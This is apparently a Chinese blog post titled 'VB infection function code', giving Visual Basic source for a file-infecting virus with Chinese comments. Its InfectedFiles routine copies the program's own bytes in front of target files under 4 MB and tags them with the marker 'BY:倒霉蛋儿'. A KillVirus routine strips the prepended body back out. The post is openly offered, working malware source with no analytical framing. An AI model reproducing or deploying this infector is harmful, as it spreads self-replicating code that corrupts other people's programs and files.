VB感染函数代码

 Private Function InfectedFiles(ByVal FilePath As String) As Boolean
Dim MyArray() As Byte
Dim FileArray() As Byte
If FileLen(FilePath) > 4194304 Then Exit Function ’大于4mb不感染

Open MyName For Binary Access Read As #1 ’读取自身文件内容
ReDim MyArray(FileLen(MyName) - 1)
Get #1, , MyArray
Close #1

Open FilePath For Binary Access Read As #1 ’读取要感染的问件内容
ReDim FileArray(FileLen(FilePath) - 1)
Get #1, , FileArray
Close #1

If InStr(FileArray, "BY:倒霉蛋儿") > 0 Then ’判断是否被感染
Exit Function
Else
Open FilePath For Binary Access Write As #1 ’把自身和感染文件与配置信息一起写到一个新文件去
Put #1, , MyArray
Put #1, , FileArray
Put #1, , "BY:倒霉蛋儿" & UBound(MyArray) + 1 & "," & UBound(FileArray) + 1
Close #1
InfectedFiles = True
End If
End Function

Private Function KillVirus(ByVal VirusPath As String) As Boolean
Dim infected() As Byte
Dim vbArray() As Byte
Dim SplitArray() As String
Dim SplitINI() As String
On Error Resume Next
If FileLen(VirusPath) > 4194304 Then Exit Function ’大于4mb不感染
Open VirusPath For Binary Access Read As #1 ’读取自身文件内容
ReDim infected(FileLen(VirusPath) - 1)
Get #1, , infected
Close #1
If InStr(StrConv(infected, vbUnicode), "BY:倒霉蛋儿") > 0 Then ’判断是否被感染
SplitArray = Split(StrConv(infected, vbUnicode), "BY:倒霉蛋儿")
SplitINI = Split(SplitArray(UBound(SplitArray)), ",")
ReDim vbArray(SplitINI(1) - 1)
Open VirusPath For Binary As #1
Get #1, SplitINI(0) + 1, vbArray
Close #1
Open VirusPath For Binary As #1
Put #1, , vbArray
Close #1
KillVirus = True
End If
End Function
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值